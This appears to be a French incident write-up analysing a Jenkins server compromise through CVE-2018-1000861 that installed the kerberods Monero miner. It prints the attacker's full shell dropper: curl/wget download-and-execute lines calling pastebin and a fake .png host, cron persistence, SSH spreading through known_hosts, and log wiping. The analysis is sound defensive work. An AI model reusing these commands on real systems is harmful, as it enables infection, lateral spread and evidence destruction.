Free Traffic Exchange

Dans la tête d’un hacker chinois… 2019

[ad_1]

 

Le mois dernier, un serveur applicatif du parc d’un de nos clients a été attaqué et compromis . Un pirate s’est introduis dans la machine et en a pris le contrôle. Il a utilisé cette machine à ses fins personnelles.
Revenons ensemble sur cette attaque et essayons de comprendre ce qu’il s’est passé, ce qu’il a fait et comment il a tenté de se propager afin d’infecter tout le réseau.

C’est parti…

La prise de conscience

On a une page blanche sur le Jenkins !
Est-ce que quelqu’un a fait quelque chose ?

— Guillaume (développeur)

C’est cette phrase, lancée de vive voix dans l’open-space, qui démarre notre histoire pour ces quelques minutes de lecture.
C’est après que l’interface du service Jenkins qui est exposée sur internet se soit arrêtée de fonctionner que nous avons commencé à nous poser des questions.
Personne n’avait touché à cette machine depuis plusieurs jours. Étrange.
Qu’est-ce qu’il se passe ?

La machine est KO !
Oui, elle est super lente !
J’accède à rien du tout !

— L’équipe projet

On a plus de crédit AWS!

— Germain (Admin sys’)

Le modèle AWS
Amazon Web Service EC2 a 2 types d’instances différents: les « instances de performance fixes » (Fixed Performance Instances) (par exemple M3, C3, etc.) et les « instances de performance débordables » (Burstable Performance Instances) (par exemple T2). Les instances de performances fixes offrent des performances de processeur constantes, tandis que les instances de performances débordables fournissent des performances de base pour les processeurs sous charge de travail normale. Mais lorsque la charge de travail augmente, les instances débordables sont capables de s’ajuster, c’est-à-dire d’augmenter les performances du processeur.

Pour compléter ce mode de fonctionnement des machines à CPU variable, AWS a mis en place une notion de crédit. A la création d’une instance, un crédit est initié. Lors de l’utilisation du CPU, ce crédit diminue en fonction de ce qui est utilisé. On consommera donc plus de crédits en utilisant un CPU à 100% qu’avec un CPU à 50%. Toutes les heures, des crédits sont réapprovisionnés pour la machine. La quantité réinjectée dépend du type d’instance.

Si jamais les crédits sont tous épuisés, les moteurs sont coupés, c’est à dire que les CPU sont utilisés à un niveau de base, très bas.
Vous trouverez bien plus d’information sur la doc officielle.

Après une analyse rapide, nous avons donc remarqué que les CPU tournaient au minimum sur cette machine.
Elle était très lente, inutilisable.

Nous redémarrons le serveur, tout semble repartir et redémarrer correctement. A la bonne heure !
Mais que s’est-il passé ?

hacker chinois

Nous nous connectons sur la machine, analysons tous les fichiers qui pourraient être susceptibles de révéler quelques choses d’intéressant.
Il n’aura pas fallu longtemps pour voir que l’utilisateur utilisé pour lancer l’application Jenkins a exécuté ce type de commande shell :

cat ~/.bash_history

468  (curl -fsSL https://pastebin.com/raw/cWe9pWGZ||wget -q -O- https://pastebin.com/raw/cWe9pWGZ)|sh
469  (curl -fsSL https://pastebin.com/raw/cWe9pWGZ||wget -q -O- https://pastebin.com/raw/cWe9pWGZ)|sh
470  (curl -fsSL https://pastebin.com/raw/cWe9pWGZ||wget -q -O- https://pastebin.com/raw/cWe9pWGZ)|sh
471  (curl -fsSL https://pastebin.com/raw/cWe9pWGZ||wget -q -O- https://pastebin.com/raw/cWe9pWGZ)|sh
472  (curl -fsSL https://pastebin.com/raw/cWe9pWGZ||wget -q -O- https://pastebin.com/raw/cWe9pWGZ)|sh
473  (curl -fsSL https://pastebin.com/raw/cWe9pWGZ||wget -q -O- https://pastebin.com/raw/cWe9pWGZ)|sh
474  (curl -fsSL https://pastebin.com/raw/cWe9pWGZ||wget -q -O- https://pastebin.com/raw/cWe9pWGZ)|sh
475  (curl -fsSL https://pastebin.com/raw/cWe9pWGZ||wget -q -O- https://pastebin.com/raw/cWe9pWGZ)|sh
476  (curl -fsSL https://pastebin.com/raw/cWe9pWGZ||wget -q -O- https://pastebin.com/raw/cWe9pWGZ)|sh
477  (curl -fsSL https://pastebin.com/raw/cWe9pWGZ||wget -q -O- https://pastebin.com/raw/cWe9pWGZ)|sh
478  (curl -fsSL https://pastebin.com/raw/cWe9pWGZ||wget -q -O- https://pastebin.com/raw/cWe9pWGZ)|sh
479  (curl -fsSL https://pastebin.com/raw/cWe9pWGZ||wget -q -O- https://pastebin.com/raw/cWe9pWGZ)|sh
480  (curl -fsSL https://pastebin.com/raw/cWe9pWGZ||wget -q -O- https://pastebin.com/raw/cWe9pWGZ)|sh
481  (curl -fsSL https://pastebin.com/raw/cWe9pWGZ||wget -q -O- https://pastebin.com/raw/cWe9pWGZ)|sh
482  (curl -fsSL https://pastebin.com/raw/cWe9pWGZ||wget -q -O- https://pastebin.com/raw/cWe9pWGZ)|sh
483  (curl -fsSL https://pastebin.com/raw/cWe9pWGZ||wget -q -O- https://pastebin.com/raw/cWe9pWGZ)|sh
484  (curl -fsSL https://pastebin.com/raw/cWe9pWGZ||wget -q -O- https://pastebin.com/raw/cWe9pWGZ)|sh
485  (curl -fsSL https://pastebin.com/raw/cWe9pWGZ||wget -q -O- https://pastebin.com/raw/cWe9pWGZ)|sh
486  (curl -fsSL https://pastebin.com/raw/cWe9pWGZ||wget -q -O- https://pastebin.com/raw/cWe9pWGZ)|sh
487  (curl -fsSL https://pastebin.com/raw/cWe9pWGZ||wget -q -O- https://pastebin.com/raw/cWe9pWGZ)|sh
488  (curl -fsSL https://pastebin.com/raw/cWe9pWGZ||wget -q -O- https://pastebin.com/raw/cWe9pWGZ)|sh
489  (curl -fsSL https://pastebin.com/raw/cWe9pWGZ||wget -q -O- https://pastebin.com/raw/cWe9pWGZ)|sh
490  (curl -fsSL https://pastebin.com/raw/cWe9pWGZ||wget -q -O- https://pastebin.com/raw/cWe9pWGZ)|sh

Oula !
Mayday…Mayday : le serveur a été piraté !

Résultat de recherche d'images pour "sos"

Trouver le vecteur d’attaque

Nous devions trouver comment est-ce que le hacker avait fait pour rentrer et exécuter du code sur la machine. Nous appellerons ce méchant personnage Mr Tee pour la suite de cet article. Pourquoi ? Pourquoi pas…

La seule chose sûre était que Jenkins avait été le service incriminé, la porte d’entrée.
Rien d’évident ne laissait transparaître une possible faille: le service avait été mis à jour il y a quelques mois et l’accès à l’IHM était protégée par login/mot de passe. Rien d’exceptionnel.

C’est en faisant de la veille sur ces sujets de sécurité qu’on peut découvrir qu’une vulnérabilité a été révélée à la fin de l’année dernière (décembre 2018).
Selon l’institut SANS, la vulnérabilité identifiée sous la référence CVE-2018-1000861 (Jenkins Stapler Web Framework Remote Code Execution Vulnerability) concerne le moteur de traitement des demandes HTTP (Stapler), utilisé par le serveur d’automatisation des développements de logiciels open source « Jenkins ».

Les développeurs du projet Jenkins ont informé les utilisateurs de cette vulnérabilité et de la disponibilité des correctifs en décembre 2018 et ont averti que la faille pourrait être exploitée à diverses fins, notamment par des attaquants non authentifiés. Les chercheurs, qui ont découvert la faille de sécurité, ont rendu publics certains détails techniques et expliqué comment elle pourrait être enchaînée avec d’autres failles pour l’exécution de code à distance, non authentifié.
Les failles permettant l’exécution de code à distance (RCE) sans authentification sont les plus redoutables car elles donnent systématiquement accès à un terminal sur la machine.

Selon Renato Marinho, responsable du service SANS, un PoC de la CVE-2018-1000861 a été publié début mars 2019.

Nous l’avons donc trouvé ce vecteur d’attaque : une faille de Jenkins permettant l’exécution de commande à distance sans être identifié. La rolls royce des vulnérabilités.

Quand on est maître à bord

Nous l’avons vu, la commande principale lancée par Mr. Tee a été la suivante :

(curl -fsSL https://pastebin.com/raw/cWe9pWGZ||wget -q -O- https://pastebin.com/raw/cWe9pWGZ)|sh

Il tente de récupérer le contenu hébergé à l’url https://pastebin.com/raw/cWe9pWGZ avec cURL puis dans la cas d’un échec avec wget et passe le résultat à un shell sh.
Toutes les commandes contenues dans ce fichier, hébergé sur pastebin.com vont donc être interprétées.

Les options utilisées :

cURL :
-f (--fail) : Gère l'échec de manière silencieuse. Si jamais l'url ne renvoie pas de fichier / est incorrecte, aucune trace ne sera affiché dans le terminal.
-s (--silent) : Mode silencieux. Tous les messages d'erreur ainsi que la progression du téléchargement ne seront pas affichés.
-S (--show-error) : En combinaison avec l'option -s, curl va afficher les messages d'erreur en cas d'échec.
-L (--location) : En cas de retour avec une réponse 30x, curl va re-tenter le téléchargement avec le nouveau chemin de ressource. Il suit la redirection.
wget :
-q (--quiet) : Active le mode silencieux.
-O (--output-document) : Définit le fichier de sortie. En combinaison avec - en tant que fichier de sortie, le document sera affiché sur la sortie standard.

Mr. Tee va donc faire en sorte d’interpréter toutes les commandes renvoyées dans le corps de la requête.
Il aura au préalable téléversé son fichier sur pastebin.com afin de s’affranchir d’un serveur personnel pour servir les contenus malicieux (payload).

Sans plus attendre, voici le contenu de ce fichier :

(curl -fsSL https://pastebin.com/raw/vtQVDD7X||wget -q -O- https://pastebin.com/raw/vtQVDD7X)|sed -e 's/r//g'|sh

Huuum ? Une autre url pastebin.com à récupérer et exécuter.

 

Pourquoi faire les choses simplement Mr. Tee ?!
Bon pourquoi pas finalement, on imagine qu’il y a un peu d’offuscation dans l’idée.
Ici, c’est le même principe, on récupère le code situé à https://pastebin.com/raw/vtQVDD7X et on le joue avec un shell sh.
On aura au préalable supprimé les caractères de fin de ligne « r » du script téléchargé. C’est utile si pastebin.com utilise un autre encodage de fichier que la machine sur laquelle sera joué le script. (#WindowsVsUnix)

Suspense encore une fois….

Voici le contenu du fichier :

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin

mkdir -p /tmp
chmod 1777 /tmp

echo "*/15 * * * * (curl -fsSL hTTps://pastebin.com/raw/XRz5LD3V||wget -q -O- hTTps://pastebin.com/raw/XRz5LD3V)|sh" | crontab -

ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9
ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/tmp/devtool"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "systemctI"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "sustse"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "axgtbc"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "axgtfa"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "6Tx3Wq"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "dblaunchs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/boot/vmlinuz"|awk '{print $2}'|xargs kill -9

rm -rf /tmp/busybox
cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
export PATH=$PATH:$(pwd)
if ( ! -f "/tmp/.XIMunix" ) || ( ! -f "/proc/$(cat /tmp/.XIMunix)/io" ); then
    chattr -i kerberods
    rm -rf kerberods
    ARCH=$(uname -m)
    if ( ${ARCH}x = "x86_64x" ); then
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190514/895a0891a3c04440a94a407cbd758564.png -o kerberods||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190514/895a0891a3c04440a94a407cbd758564.png -O kerberods)||python -c "import urllib2;exec(urllib2.urlopen('https://pastebin.com/raw/0DqEa3Gn').read())"
    else
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190514/b816dde825964d7ca4af0ee7dc43203b.png -o kerberods||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190514/b816dde825964d7ca4af0ee7dc43203b.png -O kerberods)||python -c "import urllib2;exec(urllib2.urlopen('https://pastebin.com/raw/Xu86DLj0').read())"
    fi
        chmod +x kerberods 
        $(pwd)/kerberods || /usr/bin/kerberods || /usr/libexec/kerberods || /usr/local/bin/kerberods || kerberods || ./kerberods || /tmp/kerberods || /usr/sbin/kerberods
fi

if ( -f /root/.ssh/known_hosts ) && ( -f /root/.ssh/id_rsa.pub ); then
  for h in $(grep -oE "b((0-9){1,3}.){3}(0-9){1,3}b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL hTTps://pastebin.com/raw/XRz5LD3V||wget -q -O- hTTps://pastebin.com/raw/XRz5LD3V)|sh >/dev/null 2>&1 &' & done
fi

for file in /home/*
do
    if test -d $file
    then
        if ( -f $file/.ssh/known_hosts ) && ( -f $file/.ssh/id_rsa.pub ); then
            for h in $(grep -oE "b((0-9){1,3}.){3}(0-9){1,3}b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL hTTps://pastebin.com/raw/XRz5LD3V||wget -q -O- hTTps://pastebin.com/raw/XRz5LD3V)|sh >/dev/null 2>&1 &' & done
        fi
    fi
done

echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
#

Ah. Enfin du sérieux !
Examinons bout par bout de quoi il s’agit et ce que tente de faire notre attaquant.

Etape 1: La préparation

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin

mkdir -p /tmp
chmod 1777 /tmp

Cette étape est plutôt simple. Mr. Tee ajoute les dossiers /bin, /usr/bin, /sbin, /usr/local/bin et /usr/sbin dans la variable PATH du système.
Tous les contenus de ces dossiers deviennent exécutable depuis n’importe où dans la session courante. Il n’y a pas besoin de se déplacer dans le dossier pour exécuter un programme qu’il contient; pas besoin non plus d’écrire le chemin complet du programme qu’on veut exécuter.
Ensuite, Mr. Tee crée un dossier /tmp et lui donne les droits universels (777). On remarque qu’il active le « sticky bit » pour le dossier.
Pour rappel, lorsque le « sticky bit » est activé sur un dossier, ses fichiers ne sont alors renommables et supprimables que par leur propriétaire uniquement.

Etape 2: La persistance

echo "*/15 * * * * (curl -fsSL hTTps://pastebin.com/raw/XRz5LD3V||wget -q -O- hTTps://pastebin.com/raw/XRz5LD3V)|sh" | crontab -

Dans ce bout de code, on remarque facilement que Mr. Tee ajoute une entrée au crontab de l’utilisateur courant pour exécuter toutes les 15 minutes la ou les commandes contenue(s) dans hTTps://pastebin.com/raw/XRz5LD3V.
On remarquera que le https:// est noté hTTps avec 2 majuscules. C’est une bonne technique pour contourner les contrôles (de type WAF) qui se basent sur une casse stricte (tout en minuscule, tout en majuscule, …). Dans notre cas précis, ça ne sert pas à grand chose. Ou alors c’est une faute de frappe. Qui sait ?!

C’est donc la même technique pour récupérer le contenu cURL puis wget.
Le contenu est le suivant :

(curl -fsSL https://pastebin.com/raw/Ei4z3RQ7||wget -q -O- https://pastebin.com/raw/Ei4z3RQ7)|sed -e 's/r//g'|sh

Encore un nœud de plus. Tout le monde suit toujours ?!

Le contenu de https://pastebin.com/raw/Ei4z3RQ7 est :

Mauvaise nouvelle : La ressource n’est plus disponible.
Notre analyse de la persistance n’ira pas plus loin. :'(

Bonne nouvelle : Cela veut dire aussi que la persistance et le cron ne fonctionnera pas.
Il ne se passera rien toutes les 15 minutes.

Etape 3: La purge

ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9
ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/tmp/devtool"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "systemctI"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "sustse"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "axgtbc"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "axgtfa"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "6Tx3Wq"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "dblaunchs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/boot/vmlinuz"|awk '{print $2}'|xargs kill -9

Dans cette partie, Mr. Tee va répéter le même type de commande.
Il va énumérer les processus qui tournent avec la commande ps -ef.
Il va ensuite filtrer la ligne du processus grep avec grep -v grep qu’il vient lui même de créer.
Puis Mr. Tee va récupérer une par une la ligne des processus suivants : hwlh3wlh44lh, Circle_MI, get.bi-chi.com, hashvault.pro, nanopool.org, /usr/bin/.sshd, /usr/bin/bsd-port, xmr, xig, ddgs, qW3xT, wnTKYg, t00ls.ru, sustes, thisxxs, hashfish, kworkerds, /tmp/devtool, systemctI, sustse, axgtbc, axgtfa, 6Tx3Wq, dblaunchs et /boot/vmlinuz.
Et les arrêter avec la commande kill -9

Alors là… ?!!
Pourquoi ? Quels sont ces processus ? A quoi servent-ils ?

« Aucun ». C’est le nombre de ces processus qui tournent nativement sur une machine Linux. (Testé sous Ubuntu 18.04).

Et là, plongé dans cette analyse, je ne comprends pas…. jusqu’à… l’idée!
Ces processus doivent surement être des processus qui vont gêner le déroulement de la suite du script qu’on va exécuter.
En l’occurrence, il doit s’agir de processus « concurrents » et appartenant à d’autres malwares. Mr. Tee tenterait de les arrêter pour être seul maître du système.

Bingo !
Après quelques recherches sur le web, il semble bien que tous ces processus soient en réalité des noms de malware de crypto-mining.
Ce type de malware utilise le CPU des machines infectées pour miner (aka créer) de la crypto-monnaie.
Et soyez-en sûrs, elle va tout droit sur les comptes de Mr. Tee et de ses collègues, pas sur les vôtres.

Nous avons donc à faire à un malware qui va se faire des sous sur notre dos en minant des crypto-monnaies avec nos propres CPU.
Ce malware a alors augmenté l’utilisation des CPU de la machine et, dans le même temps, consommé les crédits AWS.
Au bout d’un moment, les CPU se sont presque arrêtés et la machine est tombée.
On retombe sur nos pattes et on commence à bien comprendre le principe de l’attaque.


Etape 5 : Le bon chemin

rm -rf /tmp/busybox
cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
export PATH=$PATH:$(pwd)

Mr. Tee supprime Busybox du dossier /tmp. Même si rien ne prouve qu’il y avait cet utilitaire, c’en est fini. Il a disparu.

Busybox est un unique fichier exécutable qui regroupe un ensemble de plusieurs centaines d’outils. L’idée de Bruce Perens quand il a créé cet utilitaire était de combiner plusieurs programmes en un seul fichier exécutable afin de gagner une taille considérable sur le système en s’épargnant le stockage des méta-données de chacun de ces programmes unitairement. C’est devenu le standard pour les systèmes embarqués et c’est désormais installé par défaut dans de nombreux serveurs aussi bien au niveau des équipements réseaux que des équipements de services embarqués : routeurs, téléphones IP,  serveurs de stockage en réseau, dernières générations de robots (AR-Drone). En France, le code de BusyBox est également intégré dans les box de certains fournisseurs d’accès Internet : Livebox, Freebox, Bbox et Neufbox.

Ensuite, Mr. Tee va tenter de trouver un dossier où il a les droits d’écriture et va se déplacer dedans.
C’est le principe du trio de commandes shell touch <path>/<file> + cd <path> + rm -rf <file>
Mr. Tee se trouve donc dans un dossier où il peut écrire.
Écrivons alors !

Etape 6 : Le point central (kerberods)

if ( ! -f "/tmp/.XIMunix" ) || ( ! -f "/proc/$(cat /tmp/.XIMunix)/io" ); then
    chattr -i kerberods
    rm -rf kerberods
    ARCH=$(uname -m)
    if ( ${ARCH}x = "x86_64x" ); then
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190514/895a0891a3c04440a94a407cbd758564.png -o kerberods||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190514/895a0891a3c04440a94a407cbd758564.png -O kerberods)||python -c "import urllib2;exec(urllib2.urlopen('https://pastebin.com/raw/0DqEa3Gn').read())"
    else
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190514/b816dde825964d7ca4af0ee7dc43203b.png -o kerberods||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190514/b816dde825964d7ca4af0ee7dc43203b.png -O kerberods)||python -c "import urllib2;exec(urllib2.urlopen('https://pastebin.com/raw/Xu86DLj0').read())"
    fi
        chmod +x kerberods 
        $(pwd)/kerberods || /usr/bin/kerberods || /usr/libexec/kerberods || /usr/local/bin/kerberods || kerberods || ./kerberods || /tmp/kerberods || /usr/sbin/kerberods
fi

Dans cette partie du code, notre bien aimé Mr. Tee vérifie que le fichier /tmp/.XIMunix n’existe pas ou que, s’il existe, le processus donc le PID se trouve dans ce fichier ne tourne pas (pas d’entrée/sortie). Si au moins l’une des conditions est vraie, alors on lance le programme frauduleux. Sinon, on ne fait rien, on le laisse tourner.

Dans le cas où le « programme » ne tourne pas, on va venir enlever le bit d’immutabilité avec la commande chattr -i sur le fichier kerberods qu’on va immédiatement supprimer après.
Ensuite en fonction de l’architecture du serveur, on va venir télécharger un binaire.

Technique intéressante, on va venir enchaîner la récupération du binaire avec les programmes cURL, wget et python. Dans le cas où la première commande ne fonctionne pas, on essaie la deuxième puis la troisième si besoin. Les options des commandes utilisées lancent 3 tentatives (–retry / tries),  limite de temps de connexion à 30 secondes  (–connect-timeout / –timeout)  et limite le temps global de récupération du binaire à 30 secondes (–max-time 30) pour les mauvaises réseaux. Le résultat du téléchargement est écrit dans un fichier nommé kerberods.
On vient de récupérer notre binaire malicieux qui n’est pas une image du tout, même si l’url se termine par .png.

Suite à cela, on vient modifier les permissions du fichier pour le rendre exécutable avec chmod +x et ….. on le lance !

Cher Mr. Tee, pourquoi essayer de lancer un par un le fichier depuis les différents dossiers (/usr/bin, /usr/libexec, /usr/local, ….) alors qu’on vient de le télécharger dans le dossier courant dans la commande précédente ? Peux-tu m’expliquer ? C’est pas très malin.

Résultat de recherche d'images pour "idiot"

Lorsqu’on récupère ce fichier et qu’on lance une analyse sur VirusTotal, on valide l’hypothèse que le fichier est bien vérolé.
Un total de 12 antivirus le détectent comme virus ou assimilé.

VirusTotal est un site qui permet, entre autre chose, de téléverser un binaire et de regarder le comportement de plusieurs dizaines d’antivirus à l’égard de ce fichier.

Kerberods vs. Kerberos
C’est malin car Kerberos est un protocole d’authentification réseau qui repose sur un mécanisme de clés secrètes (chiffrement symétrique) et l’utilisation de tickets, et non de mots de passe en clair, évitant ainsi le risque d’interception frauduleuse des mots de passe des utilisateurs.
En lisant vite, il est très facile de confondre les 2 noms. Et entre vous et moi, qui irait stopper le processus Kerberos de son système Unix ? Vous ? Pas moi !

Etape 7: La propagation latérale

if ( -f /root/.ssh/known_hosts ) && ( -f /root/.ssh/id_rsa.pub ); then
  for h in $(grep -oE "b((0-9){1,3}.){3}(0-9){1,3}b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL hTTps://pastebin.com/raw/XRz5LD3V||wget -q -O- hTTps://pastebin.com/raw/XRz5LD3V)|sh >/dev/null 2>&1 &' & done
fi

for file in /home/*
do
    if test -d $file
    then
        if ( -f $file/.ssh/known_hosts ) && ( -f $file/.ssh/id_rsa.pub ); then
            for h in $(grep -oE "b((0-9){1,3}.){3}(0-9){1,3}b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL hTTps://pastebin.com/raw/XRz5LD3V||wget -q -O- hTTps://pastebin.com/raw/XRz5LD3V)|sh >/dev/null 2>&1 &' & done
        fi
    fi
done

Avec un serveur compromis, et le programme kerberods qui  tourne Mr. Tee doit être content. Mais pourquoi se contenter de ça alors qu’on pourrait compromettre un réseau tout entier ?
C’est ce qu’il se passe dans cette section du code où Mr. Tee vérifie pour tous les utilisateurs du système (c’est-à-dire root et tous les utilisateurs ayant un dossier dans /home) s’ils ont :

  • un fichier known_hosts
  • une clé ssh publique

dans leur répertoire .ssh privé.

Si c’est le cas, il va extraire toutes les adresses IP contenues dans ce fichier known_hosts et pour chacune d’entre elles, il va lancer une commande ssh afin de faire exécuter la commande (curl -fsSL hTTps://pastebin.com/raw/XRz5LD3V||wget -q -O- hTTps://pastebin.com/raw/XRz5LD3V)|sh sur les machines distantes.

Détaillons un peu tout ça.

Pour rappel, le fichier known_hosts est un fichier utilisé lors du mécanisme d’authentification entre un client et un serveur ssh.
Lors de la connexion, le serveur va devoir prouver son authenticité au client par un échange de clé publique et de validation par clé privée. Une fois que la connexion est faite et que le client s’est assuré de se connecter au bon serveur, il va alors stocker des informations (notamment l’ip et la clé publique du serveur) dans un fichier nommé known_hosts. Lors des prochaines connexions, il pourra plus facilement valider l’intégrité du serveur sur lequel il s’apprête à envoyer des informations sensibles. Si jamais la clé publique du serveur n’était plus la même, un message d’erreur empêcherait la connexion afin d’éviter l’usurpation d’identité de serveur.
Dans ce fichier, il y a donc une liste de serveurs ssh auxquels la machine s’est déjà connectée au moins une fois en tant que client. Une aubaine pour la propagation latérale.

Avec la commande suivante, Mr. Tee va récupérer toutes les adresses IP (plus précisément toutes les occurrences dans le texte du type xxx.xxx.xxx.xxx, avec x un chiffre entre 1 et 9)

grep -oE "b((0-9){1,3}.){3}(0-9){1,3}b" $file/.ssh/known_hosts

Et pour toutes ces IP, il lance une connexion SSH en mode batch et avec un timeout de 5sec.

ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL hTTps://pastebin.com/raw/XRz5LD3V||wget -q -O- hTTps://pastebin.com/raw/XRz5LD3V)|sh >/dev/null 2>&1 &

Ce qui équivaut à lancer la commande (curl -fsSL hTTps://pastebin.com/raw/XRz5LD3V||wget -q -O- hTTps://pastebin.com/raw/XRz5LD3V)|sh sur la machine à travers ssh.

Ça ne vous rappelle rien ? C’est le téléchargement du script qui est lancé par le crontab toutes les 15 minutes!
Pas de chance pour Mr. Tee c’est une voie sans issue.
Bonne nouvelle pour nous, les machines du réseau ne peuvent pas être infectées par ce mécanisme; aussi intelligent qu’il soit !

Le but de cette manœuvre, vous l’aurez compris, est d’utiliser les machines dont la connexion en ssh ne demande pas d’identifiant comme rebond et de se propager sur tout le réseau privé, voire plus, contaminant ainsi le plus de machines possible.

Etape 8: Le nettoyage

echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron

Simple et efficace, dans cette dernière partie du script, Mr. Tee nettoie ses traces en vidant le contenu des fichiers de log qui pourraient laisser une trace du passage de ce script :

  • /var/spool/mail/root
  • /var/log/wtmp
  • /var/log/secure
  • /var/log/cron

Et kerberods alors ?

Nous avons étudié tout le script, et avons compris qu’il :

  • arrêtait d’autres processus concurrents sur la machine
  • téléchargeait un programme nommé kerberods
  • lançait kerberods
  • se relancer toutes les 15 minutes
  • effaçait ses traces des fichiers de log

OK, mais qu’est ce qu’il fait kerberods, ce « virus » ?

Pour trouver cette réponse, nous aurions pu remonter nos manches et nous lancer dans une étude forensic de ce binaire, le décompiler et tenter de comprendre les instructions système.
C’est vrai, nous aurions pu faire ça.

Ou nous pouvons taper « kerberods » dans Google..

Résultat de recherche d'images pour "genius meme"

Après quelques recherches, nous en apprenons plus sur ce malware.
Kerberos est bien un mineur de crypto-monnaie, de Monero plus précisément. Il va utiliser les ressources CPU pour faire les calculs nécessaires à la validation des transactions de la blockchain. En contre-partie des services rendus, la blockchain va générer de la valeur et remercier le calculateur en lui donnant de la monnaie. On gagne donc des Monero en minant des Monero. C’est le même principe pour toutes les autres crypto-monnaies. Vous avez pléthore d’exemples et d’explications sur internet, le meilleur est ici ;-).

Mais en plus, Kerberods va tenter d’obtenir les droits root de la machine.
